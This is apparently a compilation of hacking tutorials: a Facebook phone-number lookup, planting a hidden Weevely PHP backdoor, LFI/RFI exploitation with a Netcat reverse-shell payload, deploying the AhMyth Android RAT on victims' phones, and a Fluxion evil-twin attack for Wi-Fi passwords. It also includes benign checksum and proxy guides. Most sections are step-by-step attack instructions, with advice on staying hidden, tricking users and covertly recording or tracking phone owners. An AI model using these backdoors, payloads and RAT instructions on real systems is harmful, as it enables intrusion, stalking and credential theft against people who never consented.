Once that hacker has it down to a handful of numbers, they can go to the Facebook search bar and type them in one by one. To do so, just type the number into the search bar with no hyphens. If the requests are going too fast, or if they search for too many, Facebook starts to rate-limit them with a CAPTCHA.

However, that's not much of a defense when the hacker only has 30 numbers to check.

In total, it took me around 30 minutes to an hour to find the target's number, and these same steps could be used on anyone who has their phone connected to Facebook.

Step 6Protect Yourself

The simplest way to protect yourself is to never connect your phone to Facebook. If you still want to use two-factor authentication, Facebook allows you to use a USB U2F device without having to rely on your phone.

If you absolutely must have your phone connected, navigate to Facebook Settings, select "Privacy," then "Who can look you up using the phone number you provided?" Set this option to "Friends." Unfortunately, Facebook doesn't let you set this to "Only me."

On a mobile device, you would tap on the three-line menu icon, select "Account Settings" (iOS users will have to select "Settings" first), then tap on "Privacy." You'll see the same "Who can look you up" question above where you can change your preferences to "Friends" only.

While this still will not provide absolute protection, it will make the hacker's life much more difficult.

Slip a Backdoor into PHP Websites with Weevely

2017-12-28T10:43:00.000+05:30

Backdoors are convenient to leave behind once you've already found a way into a server, and they can come in handy for a variety of reasons. They're good for developers who want a quick way into machines they're working on, or for systems administrators who want similar access. Of course, backdoors are also a hacker's best friend, and can be added in a variety of ways. One good tool for doing this is Weevely, which uses a snippet of PHP code.

Weevely will create a terminal on the target server and allow for remote code actions via a small footprint PHP agent. It includes more than 30 modules for administration and maintenance needs, as well as privilege escalation and even network lateral movement. Think of those hosting accounts you use that lock down your access—this can come in handy there, as well as on other servers you've successfully infiltrated.

In this guide, we'll be taking it for a spin on our localhost. You can follow along, or you can get it running on another server where you can do a lot more with it.

Step 1Download Weevely

Weevely can be found built into some Linux distributions, such as Kali. If it's not installed in your Linux system, you can find version 3 on Epinna's GitHub page. To get it installed on a standard Linux distro, there are a variety of ways you can acquire it, including Git, HTTP, and wget.

Download the Git file:

https://github.com/epinna/weevely3.git

Download via HTTP right now in your browser:

https://github.com/epinna/weevely3/archive/master.zip

Download via wget (in your terminal):

wget https://github.com/epinna/weevely3/archive/master.zip

If you're running Kali, you can skip this step, obviously.

Step 2Create the PHP Snippet

No matter how you've grabbed the Weevely download above, make sure you have a terminal or shell window open in the directory containing that master.zip file. Assuming you've downloaded it to your Downloads folder, let's go there, unzip the file, change into that unzipped folder location, and do a quick listing to check out the files.

cd Downloads
unzip master.zip
cd weevely3-master/
ls

You should run the weevely.py set-up file alone to get an idea what's going on here, because the script requires specific syntax, and you can learn about it here.

./weevely.py

For our example, we'll be using the "Generate backdoor agent" option. Let's make our password pazzWurD, and call our PHP file path backdoor.php. We should end up with a file called backdoor.php in the same directory where we're working.

Please note that backdoor.php is not a good name for your PHP file. This is just an example. You don't want to draw too much attention to what you're doing, so make sure to replace both "mypassword" and "myfilename.php" below with something less obvious.

./weevely.py generate mypassword myfilename.php

Step 3Slip in Your Backdoor

Armed with this new PHP script (backdoor.php, in our case), we can now consider a few ways that we can use it. First, if you have access to a server, you can simply copy/paste the contents of your PHP file into another accessible PHP file on the server. For example, a config.php or settings.php file that might be found there. First, I'll copy the contents of my backdoor.php script with a text editor.

Then, I'll paste that entire block of PHP code below all the other PHP code on a file running on my server. Here, I'm pasting it below everything in my server's info.phpfile. I had to use the Vi editor on my server, but if you're little rusty on Vi/Vim, there's a guide here on Motherboard staff that can help you out:

My info.php will still work as usual, but the script below will remain quite until called upon.

Another thing you might try is to find a vulnerable website with upload abilities—the kind that lets you share a file or image. Do that, get the link to your file, and you're in business.

Most sites like this will block uploads of scripts, but not every site is perfect.

Any way you do it, you want to get your backdoor.php file—or the contents of your PHP file—into some other PHP file, on some local or remote server. Once you've done that, it's time to call on it.

Step 4Access Your Backdoor

The first thing about Weevely that you may notice is that your backdoor.php file running in the web directory, or on the tail end of some other PHP file, doesn't do or show anything in your web browser. That's good! Were this showing up on a site, it would be discovered right away and patched, or possibly exploited by someone else, and we don't want that.

Nothing shows at the bottom of my info.php file, which is what we want.

What we want to do is open weevely.py on our system again, only this time we're not going to create a file with it—we're going to use it to target the place we put the script that we already created. On my localhost server, with my file, this means:

./weevely.py http://localhost/info.php pazzWurD

If you're not testing this out with localhost, it'd be something more like:

./weevely.py http://some.websitename.com/myfilename.php mypassword

Either way, use Weevely to call out your file and you might see it answering:

Sing with me... "I've Got the Power!"

Simply typing :help at this point will show you all the things you're able to try right out of the box.

Weevely has more than 30 modules built in, so there's a lot to work with here. For example, file_ls does exactly what you'd think, and file_cp might let you copy a file as long as you have worked out your from and to paths just like on a local system. You might be able to grab a whole lot at once with file_tar, then use cp to have a lot of reading.

There are ways to elevate your rights from within Weevely, so if you have elevated rights on the server, you can do basically everything with it. You might be able to get a few clues on your target system with audit_password. Just remember to stay on the down-low here, to both save yourself time and effort if you're messing with your own system, and to remain quiet if on other systems.

Troubleshooting

Did you run into any errors during this exercise? I'm running on a new system that's a bit bare-boned, so while I was able to unzip the master.zip directory and see the files it contained, I was not initially able to get Weevely's Python script to run correctly.

So if you run into the same issue and see something like this:

ImportError: No module named prettytable

Just run something like this, replacing the module name with whatever one is missing:

$ sudo apt install python-prettytable

If you have any more issues running this script as a backdoor, let me know in the comments below, and I'll see what I can do.

Exploit PHP File Inclusion in Web Apps

2017-12-28T10:39:00.003+05:30

File inclusion can allow an attacker to view files on a remote host they shouldn't be able to see, and it can even allow the attacker to run code on a target.

To demonstrate these vulnerabilities, we'll be practicing PHP file inclusion using the Damn Vulnerable Web App. We'll cover how both remote file inclusion and local file inclusion work with the goal of achieving shell access to the vulnerable host.

In our first example, we will be looking at a local file inclusion (LFI). This kind of file inclusion includes files present on the remote host. It can be used to view configuration files, search for interesting documents, and get a low-privilege shell. This type of inclusion is present in PHP, JSP, ASP, and other languages.

In our second example, we look at remote file inclusion (RFI). It is essentially the same concept, the difference being that the attacker isn't limited by what is available to them on the remote host. An attacker can include files directly from their machine for execution by the remote host. This type of inclusion is also present in many programming languages.

Local File Inclusion

Local file inclusion allows you to read files on the vulnerable host, and if you have the ability to modify files on the local host, execute code as well. For example purposes, I will be using the Damn Vulnerable Web App, or just DVWA for short, running on a virtual machine on my local network. Full instructions for doing so can be found on DVWA's GitHub page.

Step 1Test the LFI

In this basic LFI scenario, we will use a local file inclusion to gather information on the remote host and then exploit a vulnerability allowing us to get a root shell. Below is the default "File Inclusion" page in DVWA, which can be found from the menu on the left.

First, I will test to see if I can read a common file such as /etc/passwd. To do so, I input enough previous directories to get me back to root, then input the path for /etc/passwd. The ?page= part seen below would normally point to file1.PHP.

In this case, we use directory traversal to access the /etc/passwd file. In most operating systems, .. represents the previous directory. Since we don't actually know what directory the app is reading files from, we tell the app to go back a bunch of directories, and then to /etc/passwd.

As expected, I am able to recover the /etc/passwd file. Of course, this isn't limited to use only on /etc/passwd, this can be used to recover any file that the web app user has read privileges on.

Let's break it down a little bit more with an example path. This is the working directory of our fictional app:

/var/www/cgi-bin/things/

When it is passed a parameter like ?page=file1.php, it looks in its working directory to load file1.PHP. When we execute these attacks, we don't actually know the working directory of the application; it could be buried deep in a directory tree or it might be in a user's home directory. So we want to be sure that our path includes enough previous directories to get us back to the root directory, which can be a guessing game.

../../../../../../../../../../../../../../etc/passwd

In this relative path, I have a total of 14 previous directories. That's fine. Any previous directories beyond the root directory of the filesystem are ignored. This path goes back to the root directory, and then from there, to /etc/passwd.

This is incredibly useful for scenarios where you need to read configuration files. Some LFIs will work when you aren't logged into the app, and you can find usernames and passwords or other useful information in the configuration files.

Now that we know a local file includes work on this app, how do we get a shell back?

Step 2Inject Code

In this case, I'm going to take the easy route and insert the code for my shell into the log files, then access it with the web app. First, I verify that I can access the log files. In some cases, these may not be readable.

If we have done our initial recon, we will have some idea of what type of system we are up against, including what type of web server the host is running. Armed with this knowledge, we can ascertain the path of the log files.

In this example, we have an Apache server, and the default location for Apache logs is /var/log/apache2/, or /var/log/apache. As we can see below, I've successfully included the Apache access log into the page.

Next, we check for command execution. Using Netcat, I connect to my web server and send some PHP code.

nc 192.168.1.111 80
<?php echo shell_exec('ls -lart'); ?>

What I'm doing here is sending PHP code directly to the web server. This is not what Apache expects from an HTTP request, and the server sends back error 400 but logs the request in /var/log/apache2/access.log. This will allow me to read back the log file using the web app, which will execute any PHP it comes across.

Now, I have PHP in the log file to execute a directory listing. Let's see if it worked:

I can see below that the ls command worked — my code was executed on the remote host. We included the Apache log file into the app, then PHP reads through the log file and prints the text contents to the top of the page. When the PHP interpreter hits our code to execute ls on the system, it executes it.

I've highlighted the portion where our code was executed; the rest of the text is just the Apache log file. We've got RCE, which means, I'm just a step away from a shell.

Step 3Get a Shell

Now that we can verify our access, I need to get myself a shell. I'll connect again with Netcat, but this time my PHP shell_exec() will contain the command for a reverse Netcat connection. This is where it can get tricky. If Netcat isn't installed, you aren't going to get an error, you simply won't get a connection. In some cases, you have to get tricky with your shells. Luckily, there are many options available for recovering shells from a Linux host.

To start, I'll type the following into a terminal window.

nc 192.168.1.111 80
<?php shell_exec('nc -e /bin/bash 192.168.1.82 31337'); ?>

In this command, I establish a bare-bones Netcat connection to the vulnerable host on port 80. I then send PHP code which tells the PHP interpreter to execute Netcat. The shell_exec() function in PHP executes a command via a system shell and returns a string.

The command we want PHP to execute is the argument to the function, specifically telling Netcat to connect to my machine on port 31337. The -e option tells Netcat to execute Bash. You can use any port you have permission to bind to. The PHP is injected into the log file the same as the PHP for our ls command.

To catch the incoming shell, we'll need to run the following in a terminal window on our attacking machine.

nc -nlv 31337

This command executed on my attacking machine tells Netcat to set up a listener on port 31337. The -n argument specifies that Netcat should not attempt to look up addresses with DNS, the -l argument tells Netcat to listen, and the -v argument sets verbose mode.

The next time I access the access.log file, the web app executes the code contained within it and returns me a reverse shell.

From here, there are there are many paths to take. Generally, I would begin searching the system and looking for opportunities for privilege escalation. This machine could just as easily become part of a botnet or be used as a jump box. An attacker could also easily add backdoors to the web app itself.

Remote File Inclusion

Remote file inclusion is even easier if it's available. This technique allows you to include files off of your own machine or remote host. For this example, I'm going to skip the testing stages and just include my PHP code for a Netcat reverse shell.

Step 1Start a Server

First, I'll need to enable my web server. For Kali Linux users, you can type the following into a terminal window.

systemctl start apache2

Step 2Set Up Your Code

I will be using the same PHP code I used previously to send a shell back to my machine. I add the code to a file called shell.html, though, as you've seen, this particular app will include just about any file with PHP in it. We could get the same result with shell.PHP or shell.log. We only need to put one line of PHP into this file, which the interpreter will read and execute.

I then move that file into my web root, which for Kali Linux users should be located at /var/www/html/.

Step 3Set Up a Netcat Listener

Next, I set up a Netcat listener on my attacking machine by typing the following into a terminal window.

nc -nvl 31337

This is just a standard listener, the -n argument tells Netcat to not resolve host names, -v argument is for verbose, and the -l argument is for listen. The last argument is the port to listen on.

Step 4Include Your Code

Lastly, it's time I include the file into the vulnerable application.

The web app executes the PHP code in shell.html, and as we can see below, my Netcat listener is connected to the remote host. I have a low-privilege user account (www-data) and can interact with the system via command line.

Some Caveats for File Inclusion

This article covers the basics of local and remote file inclusions. In some cases, these vulnerabilities can be harder to exploit in the wild. You may need to terminate file names with motherboard staff or even escape the slashes in your path. It's all dependent on how the code on the back end is parsing the input. Even if the vulnerability is more difficult to exploit, it is still very low hanging fruit.

Gain Complete Control of Any Android Phone with the AhMyth RAT

2017-12-28T00:32:00.001+05:30

There are more than 2 billion Android devices active each month, any of which can be hacked with the use of a remote administration tool, more commonly known as a RAT. AhMyth, one of these powerful tools, can help outsiders monitor a device's location, see SMS messages, take camera snapshots, and even record with the microphone without the user knowing.

Remote administration tools were first programs intended to provide technical support to remote computers by allowing an administrator to log in and control the device directly. However, hackers quickly saw the potential of these tools and started using them for more nefarious deeds. Today, advanced RATs are used to remotely access and control a wide variety of devices, but today we'll focus on one of the world's most popular — Android.

AhMyth is a new, up-and-coming, open-source Android RAT, currently in the beta stages of development, which uses a simple GUI interface. While Android RATs aren't a new thing, what makes this one stand out from the crowd is the simple and easy-to-understand graphical user interface. Additionally, AhMyth is multi-platform, available on Linux, Windows, and macOS.

The RAT consists of two parts. The first is a server-side application based on Electron framework, in our case, just our desktop or laptop, but this could be scaled up to some degree if needed. This acts as a control panel which we use to create and connect to the RAT. The second part is client side, which is the infected Android application we'll use as a backdoor.

Below you can see a quick video demonstration of AhMyth in action, courtesy of the AhMyth team.

Step 1Download & Install AhMyth

There are two ways to download and install AhMyth. The first is to directly use the source code from GitHub. The second is to use the binaries they provide.

Method 1From Source Code

If you chose to start with the source code, then you'll need to check that you have a few prerequisites installed.

Java — it's used to generate the APK backdoor.
Electron — it's used to start the desktop application.
Electron-builder and Electron-packer — they are used to build the binaries for macOS, Windows, and Linux.

Once you have those prerequisites, you're ready to proceed. First clone the code from GitHub with the following commands.

git clone https://github.com/AhMyth/AhMyth-Android-RAT.git

Then move to the AhMyth-Android-Rat directory with the following.

cd AhMyth-Android-RAT/AhMyth-Server

Once you're in, start AhMyth with the command below.

npm start

This program is still in beta development, and as such, it isn't as robust as it could be. Some users have gotten errors when attempting to start it. If you do, try again running it as root, as seen below.

sudo npm start --unsafe-perm

You'll know it's working when you see the GUI launch.

Method 2From Binaries

The source code is one way to download it, but if you're lazy like me, there's a slightly easier way — use the binaries! It's particularly nice when you're working on a Windows computer and don't want to mess around with the command line. This shouldn't be a concern as most people will already have it, but do check that Java is updated on your computer.

Navigate to the AhMyth release page and download the release for your system. Currently, they only have Linux and Windows files uploaded.

Once you download the right file, open it up on your computer, and it should start installing. It will automatically open when it completes. After that, we should be ready to go!

Step 2Build an APK

Now that we have the program up and running, it's time to build an Android application with a backdoor. At the top of the screen, select "APK Builder." The first thing to change is "Source IP." This needs to be the IP address of the computer you'll be sending and receiving commands from.

For testing purposes, I'll just be using my local Wi-Fi network. However, if you wanted it to work outside of the local network, you would need to port-forward your computer to the internet and use your public IP address.

AhMyth can build an APK two different ways. It can create a standalone APK or be used to infect another application in order to remain hidden on the target device. To do the latter, select the box beside "Bind With Another Apk" and then browse and select the APK you wish to use. Today I'll just be creating the default standalone APK, but if a malicious user were deploying this in the real, they would very likely be binding it with another APK.

Once you have all the settings selected you're ready to build the APK, just click on "Build."

You can navigate to to "C:\Users\UserName\AhMyth\Output" to find the built APK.

Step 3Deploy the RAT

Now that you have a working APK, it's time to deploy it by downloading it on the target Android device. All of the standard attack methods apply — anything to get the user to download the APK. Social engineering tends to work best. For example, if you know the person, then recommend an app to them and infect it.

By far the most effective method is if you have physical access to the phone, it only takes a few seconds to download and hide it. If you chose this method, then an easy way to do it is by saving the APK to Google Drive and sending the phone a link. On most phones, the download should only take a second or two.

If the Android phone doesn't want to install it, they probably never enabled "Unknown sources" in their settings. Open up the Settings, then go to "Security" and check "Unknown sources." This is how apps that come from outside the Google Play Store can be installed.

Step 4Start to Listen

In the top left of the AhMyth screen, select the "Victims" tab, then change the Portnumber to the one you are using. You can also leave it blank for the default. Next, click on "Listen." Once this is done, and the RAT is running properly on the victim, then it should appear here along with some basic info.

Step 5Open the Lab

Now that you have a RAT up and running on the target device, you can start doing remote administration. Click on "Open The Lab" button, and a new pop-up window will appear. If you're familiar with other Android RATs like Cerberus, then you might be a little disappointed with how few features there are, but I would remind you that this is still only in the beta stages.

The features it does currently have are quite powerful. Let's take a look at a few of them. The "File Manager" is great because it lets you see everything on the device right down to the firmware. With this, you could potentially uncover all sorts of sensitive information, whether that be passwords and session cookies or compromising photos.

Another feature is the ability to record audio via "Mic." Since people take their phones with them everywhere they go, you, in effect, have a bug, or listening device, on them at all times.

Along the same lines as the last one, you also have a tracking function ("Location") so you can not only know what they said, but also where they said it. One note on this, however, is that it can be fooled by a simple GPS spoofer application. I used one on the victim device to take the screenshot below.

If you really like to sow chaos, then you'll love this next feature: the ability to not only read but also send "SMS" messages. A simple way to use this would be to hack someone's Facebook by resetting their password with an SMS text, then use the code that is sent. You can use your own imagination for all the things you can do by sending messages from the target's phone.

Now you may have noticed that I skipped over the "Camera" feature. I did that because I was unable to get it working on my device, which could just be a problem with the old Android I was using for testing. In principle, it's supposed to allow you to send commands to take pictures with the front or rear camera and have them sent back to you.

Protecting Yourself from Android RATs

There's not a whole lot you can do to protect yourself from RATs in general, but one thing you can do is not install Android apps that aren't from the Google Play Store. This doesn't mean that all the Google Play apps are safe, but they are much safer than some random app found online since Google does scan them for malware to the best of their abilities.

Installing from "Unknown sources" is disabled by default in Android, but if you allow this, you also greatly increase your risk as you will no longer get the security prompt. If you do ever have a legitimate reason to download an APK from outside Google Play, be sure to tap "Allow this installation only," otherwise you could accidentally permanently enable "Unknown sources."

Another way to protect yourself is to not take your phone to important meetings or anywhere you don't want people listening. Also, be careful who you let have your phone, as it only takes a few seconds to download one of these RATs. An example of this can be found in Mr. Robot, when Tyrell Wellick installed malware on an employee's Android phone in seconds.

One more probably obvious way to help prevent malicious software from installing on your Android device: keep it up to date. Install software updated when they come out, as Google and OEMs push on security fixes in almost every update, not just new features.

And last but not least, you can consider installing antivirus software on your Android device. This will not help you out all of the time, but it's better than nothing. You can find a good list of antivirus apps for Android over on Gadget Hacks.

Use an SHA-256 Hash to Verify Your Downloads Haven't Been Modified

2017-12-28T00:28:00.001+05:30

Any internet user will need to download files eventually, and most simply have faith that what they are downloading is trustworthy. This doesn't give much clarity into the contents of the file, but if the file's author published the original checksum, comparing it to the SHA-256 hash of the downloaded file can ensure nothing was tampered with.

When we have a file that we need to audit against a checksum provided by the file's author, we can use open-source cryptographic software to calculate a checksum. Reviewing the checksum is used for situations where maybe you are at a sketchy website or you don't know if your favorite site is being spoofed.

How a Hash Works

Data from a file to be checked is divided into 512-bit blocks. Each block is passed through the SHA-256 algorithm and added to a sum until there is no more data to be added to that number. The final sum of this calculation is our checksum, also known as a hash. You can learn more about how hashing works in the video below.

In essence, when we calculate a hash, it is a one-way cryptographic function, meaning a change to a single bit will generate a new, seemingly random number that is very hard to arrive at again. If you can cause two different files to generate the same checksum, this creates an extremely rare condition called a collision. This kind of attack is a weakness in SHA-1 and other cryptographic functions but takes significant time and resources to attempt to exploit.

In this article, I will demonstrate how to compare the SHA-256 hash of a file downloaded with the one provided by the file's author first on a Windows system, and then on Kali Linux.

Method 1Using 7-Zip on Windows

The first thing we are going to do is download a program for Windows called 7-Zip. This tool isn't only for comparing the checksum, but also for compressing and decompressing files and folders. You can download that from the official 7-Zip download page. Make sure to download and install the most recent and stable version. It is a very simple to install; just follow the on-screen prompts.

Next, let's compare a downloaded hash by going to a website that displays the checksum for a download. For this test, we will be using the download page of VLC media player for Windows. On their site, they helpfully display their checksum in an SHA-256 hash format by clicking the "Display Checksum" button. Stay on this webpage, as we'll need to compare the hash against that number shortly.

Go to the folder where you downloaded the VLC installation file. After locating it, just right-click on the file and scroll down to the part where it says "CRC SHA." We will need to choose the correct SHA algorithm, which VLC has provided on their website. In this case, we will select the SHA-256 option by clicking on it in the submenu. Notice you don't have to open 7-Zip up directly to do this.

Finally, 7-Zip will show the outcome of the checksum. Now, we'll need to compare this value with the one we were provided by the website. Check back with the VLC website and locate the checksum to compare the values.

If the contents of the file had been tampered with, the whole checksum would change, so I personally usually look at the last 4 characters. If the number has changed, then we know the download was tampered with or corrupted.

Method 2Using UNXZ on Kali Linux

Now let's open our favorite Linux distro, Kali Linux, and open up the browser.

To run our test, go to the Kali ISO downloads page to locate our example file to download. For a shorter download, we will be selecting the smallest ISO, the "Kali armel" image, to download. You can choose to download it over HTTP or torrent.

Once the image has been downloaded, open up a terminal window and use cd to navigate to the folder where you downloaded the file to. There are many ways to unzip a file on Linux, but what worked for me was a command included by default in Kali called unxz. Run it followed by the path to the file to unzip the ISO image you downloaded.

Once that is extracted, we want to type the following into a terminal window. Make sure "2017.1" is replaced with the current version you downloaded.

sha256sum kali-linux-light-2017.1-armel.img

Hit return and the checksum for the file will be displayed in the terminal window. Now, you can compare against the checksum provided by the website. They should match, as shown in the image below.

Threats Against Hashing

There are still attacks about using the checksum method, most recently SHA-1 was demonstrated to be vulnerable to a collision attack, so most users have switched to a new standard protocol with a longer, more secure cryptographic algorithm called SHA-256. There could be people, at this moment, working on a generating a collision attack on SHA-256.

These techniques can be subverted by tactics like a man-in-the-middle attack. An attacker could simply comprise the web host for that file, replace the real hash with the checksum of their own malicious file, or create a new hash with the attacker's manipulated file's checksum value and swap the file for the original on the site. This is exactly what happened to users who downloaded a compromised version of Linux Mint 17.3 Cinnamon edition hosted on a compromised Bulgarian FTP server, so be careful out there!

SHA-256 — Your Second Set of Eyes

So that's it, you can now confirm that the download is in its true form, and was not manipulated in any way. This is just one of many methods for staying safe on the internet while downloading files. In reality, this is a way of being more aware of your surroundings, similar to protecting your PIN number at an ATM. Aside from defending against malicious hackers embedding malware into downloads, it also can be used to detect corrupted files.

Hide Your IP Address with a Proxy Server

2017-12-28T00:25:00.000+05:30

Proxies can be quicker to use than a VPN for specific applications, like web browsers or torrent clients. Both services will hide your true IP address, but a VPN is slowed down because it encrypts all data through a VPN network, while a proxy just acts as a middleman for fetching and returning requests from a server on your behalf. When speed is needed, go proxy.

A proxy hides your IP address but leaves behind some breadcrumbs, because most proxies have a cache system that will log browser history, passwords, and other data. There are some encryption options with proxies, but they aren't very helpful since there is still a log service. But these breadcrumbs are what makes proxies fast.

Since proxy servers cache webpages, they can increase the speed of downloading documents and websites because the proxy server does a local cache of previously downloaded requests from other clients first. In comparison, a VPN is a direct tunnel to the endpoint with encryption, which really slows things down.

Private Internet Access (PIA) is a popular and well-trusted VPN service starting at $3.33/month, one which we've covered before in the past for securing IoT and media devices. A VPN subscription to them also includes a PIA proxy service. Using their proxy for file-sharing allows you to download media like disk images securely without needing to route all of your traffic through a VPN, so you can still watch Netflix or browse the internet while you torrent.

In this tutorial, we will create an application-specific tunnel for downloading your content, allowing you to continue using the internet for other tasks or games uninterrupted and without extended ping times. Like mentioned before, proxy servers are faster because they do not come with encryption. PIA's proxy service does offer encryption if that's something you're interested in.

Step 1Download & Install µTorrent

µTorrent is a torrent client, which means it uses a peer-to-peer network to download files. While this is a great, fast way to download open-source software like Kali Linux disk images, it also isn't always wise to download hacking tools from your home IP address. For those wishing to download Tor or Kali Linux without ending up on a government list, a proxy can help protect your privacy.

This setup will work for many different torrent clients, but to keep this tutorial as cross-platform as possible, we will be using µTorrent. You can download the software from its website, and it should auto-select the client based on the operating system you are using. Go ahead and press the "Get µTorrent" button (the free one, obviously), and the download will start automatically.

After downloading, it's time to install. When we double-click the installer, a configuration wizard will pop up. We want to hit the "Next" button in the bottom-right corner. After that, the end-user license agreement will spring up, and so we want to "Accept" that.

It wants to install a Yahoo extension on your default web browser, and we don't want that. Go ahead and "Decline" that, and then the final installation steps will occur automatically.

Step 2Configure µTorrent

First, let's open up µTorrent. We want to click the "Options" tab and then select "Preferences" from the drop-down menu. The Preferences window will pop up, and next, we will want to click on the "Connection" tab. Once there, we will see the Proxy Server field, as seen below. It's asking for proxy credentials, so we'll need to create those first.

Step 3Generate Proxy Credentials

Let's open up a web browser and log into our PIA VPN client. After you log in, scroll down until you see the PPTP/L2TP/SOCKS Username and Password section. These username and password pairs are generated for use with PPTP, L2TP, and Proxy SOCKS connections. Write down or save the username and password for the next step.

Step 4Configure the Proxy Server

Return to µTorrent's "Connection" settings, and change the Proxy Server type to "Socks5." Check the boxes next to "Authentication" and "Use proxy for peer-to-peer connections," then grab that username and password from PIA client page and stick them in the Username and Password fields under the Proxy Server section.

Next, for the Proxy field, we want to input the address "nl.privateinternetaccess.com," and for the Port number, we want to change it to port 1080. We are using this port because PIA servers assign this port to their proxy servers. Press "Apply," and then "OK."

Step 5Torrent a File via Proxy

Now, let's download our target torrent file. In this case, our target will be the free live image of our favorite pentesting OS, Kali Linux. Torrenting files is often quicker than downloading the same file from a web browser, as a peer-to-peer download isn't limited by how far the websites download server is.

You can navigate to the torrent file on the Kali downloads page. We are going to select the "Kali 64-bit" version using the "Torrent" download. A file with a name like "kali-linux-2017.2-amd64.torrent" should download.

Go ahead and either save or open the TORRENT file with the µTorrent client. Then, right-click on the "kali-linux-20xx-.x-xxxxx" and select "Force Start" to prioritize and initialize the torrent. If the torrent does not start, then the proxy settings were not correct or your subscription had expired. If it succeeds, you should see something like the screen below.

Here we see a successful connection as a file downloads.

Once the connection levels off, your download should work normally. As soon as it's finished, you'll have downloaded your first piece of data via proxy.

Proxies Have Even More Beneficial Uses

In the end, we connected our torrent client to redirect our internet traffic to Private Internet Access's proxy servers. This ensured that our private information is concealed while torrenting. Since we did this in an application-specific way, we are also able to use this configuration for web browsers and other application that allow proxy redirection settings.

Depending on where the proxy is, we can also get around geolocation filters to access regionally-restricted websites. This useful ability can fight censorship and be used to get around many types of network restrictions.

Some organizations, like school and governments, use proxies in their network for almost the exact opposite reason. They configure proxies to actually filter blacklisted websites, like porn or social media, so people in the organization do their work and without getting distracted.

In that example, a client sends a request to the proxy server to fetch a file or webpage. When the proxy server receives the data, it will interpret the request and decide if that data will be sent back, depending on the settings and rules applied to the proxy server, such as blocking pornography. The client will then receive the file or webpage they requested, provided it passed the proxy filter.

Again, since proxy servers also cache webpages, if an organization's network has hundreds or thousands of users searching for the same thing, it cuts down the search index times on the network and reduces upstream demand.

Capturing WPA Passwords by Targeting Users with a Fluxion Attack

2017-12-27T23:48:00.000+05:30

With tools such as Reaver becoming less and less viable options for penetration testers as ISPs replace vulnerable routers, there becomes fewer certainties about which tools will work against a particular target. If you don't have time to crack the WPA password, or it is unusually strong, it can be hard to figure out your next step. Luckily, nearly all systems have one common vulnerability you can count on—users!

Social engineering goes beyond hardware and attacks the most vulnerable part of any system, and one tool that makes this super easy is Fluxion. Even the most antisocial hacker can hide behind a well-crafted login page, and Fluxion automates the process of creating a fake access point to capture WPA passwords.

Picking the Weakest Links to Attack

Users are almost always the weakest link of a system, and so attacks against them are often preferred because they are cheap and effective. Hardware concerns can often be ignored if the users are sufficiently inexperienced with technology to fall for a social engineering attack. While social engineering attacks may raise flags within more tech-savvy organizations, phishing and spoofing attacks against users are the tool of first choice for both nation states and criminal hackers.

One of the most vulnerable targets to this kind of attack is a small- or medium-sized business focused on an industry other than technology. These businesses usually have many vulnerable or unpatched systems with default credentials that are easy to exploit over their wireless network, and are not likely to know what an attack looks like.

How Fluxion Works Its Magic

Fluxion is the future—a blend of technical and social engineering automation that trick a user into handing over the Wi-Fi password in a matter of keystrokes. Specifically, it's a social engineering framework using an evil twin access point (AP), integrated jamming, and handshake capture functions to ignore hardware and focus on the "wetware." Tools such as Wifiphisher execute similar attacks, but lack the ability to verify the WPA passwords supplied.

Fluxion evolved from an advanced social engineering attack named Lindset, where the original tool was written mostly in Spanish and suffered from a number of bugs. Fluxion is a rewritten attack to trick inexperienced users into divulging the password/passphrase of the network.

Fluxion is a unique tool in its use of a WPA handshake to not only control the behavior of the login page, but the behavior of the entire script. It jams the original network and creates a clone with the same name, enticing the disconnected user to join. This presents a fake login page indicating the router needs to restart or load firmware and requests the network password to proceed. Simple as that.

The tool uses a captured handshake to check the password entered and continues to jam the target AP until the correct password is entered. Fluxion uses Aircrack-ng to verify the results live as they are entered, and a successful result means the password is ours.

Checking WPA password capture confirming through Aircrack-ng.

Tactically, this attack is only as good as the fake login screen. Many have been added to Fluxion since it was created, and it is possible to create other screens with some research. In general, running this attack with default login screens will immediately call attention from a more experienced user or tech-savvy organization. This attack is most effective when targeted at whoever is the oldest or least tech-savvy in an organization. Sensitive APs with intrusion detection systems may detect and attempt to defend against this attack by blocking your IP in response to the integrated jamming.

System Compatibility & Requirements

Fluxion works on Kali Linux. Just make sure that you are fully updated, or that you're running Kali Rolling, to ensure system and dependencies are current. You may run it on your dedicated Kali install, in a virtual machine. If you're looking for a cheap, handy platform to get started on, check out our Kali Linux Raspberry Pi build using the $35 Raspberry Pi.

A perfect beginner Wi-Fi hacking kit.

This tool will not work over SSH since it relies on opening other windows.

For this to work, we'll need to use a compatible wireless network adapter. Check out our 2017 list of Kali Linux and Backtrack compatible wireless network adapters in the link above, or you can grab our most popular adapter for beginners here.

Check out our list of Kali Linux compatible wireless network adapters.

Make sure that your wireless adapter capable of monitor mode is plugged in and recognized by Kali and seen when iwconfig or ifconfig is entered.

How to Capture WPA Passwords with Fluxion

Our goal in this article will be to target an organization via its WPA encrypted Wi-Fi connection. We will launch an attack against users attached to the access point "Probe," capture a handshake, set up a cloned (evil twin) AP, jam the target AP, set up a fake login page, and confirm the captured password against the handshake.

Step 1Install Fluxion

To get Fluxion running on our Kali Linux system, clone the git repository with:

git clone https://github.com/wi-fi-analyzer/fluxion

Note: The developer of Fluxion shut down the product recently, but you can get an older version of it using the command above instead (not the URL you see in the image below).

Then, let's check for missing dependencies by navigating to the folder and starting it up for the first time.

cd fluxion
sudo ./fluxion

You'll likely see the following, where some dependencies will be needed.

Run the installer to fetch dependencies and set your board to green with:

sudo ./Installer.sh

A window will open to handle installing the missing packages. Be patient and let it finish installing dependencies.

After all the dependencies are met, our board is green and we can proceed to the attack interface. Run the Fluxion command again with sudo ./fluxion to get hacking.

Step 2Scan Wi-Fi Hotspots

The first option is to select the language. Select your language by typing the number next to it and press enter to proceed to the target identification stage. Then, if the channel of the network you wish to attack is known, you may enter 2 to narrow the scan to the desired channel. Otherwise, select 1 to scan all channels and allow the scan to collect wireless data for at least 20 seconds.

A window will open while this occurs. Press CTRL+C to stop the capture process whenever you spot the wireless network that you want. It is important to let the attack run for at least 30 seconds to reasonably verify if a client is connected to the network.

Step 3Choose Your Target AP

Select a target with active clients for the attack to run on by entering the number next to it. Unless you intend to wait for a client to connect (possibly for a long time), this attack will not work on a network without any clients. Without anyone connected to the network, who would we trick into giving us the password?

Step 4Select Your Attack

Once you've typed the number of the target network, press enter to load the network profile into the attack selector. For our purpose, we will use option 1 to make a "FakeAP" using Hostapd. This will create a fake hotspot using the captured information to clone the target access point. Type 1 and press enter.

Step 5Get a Handshake

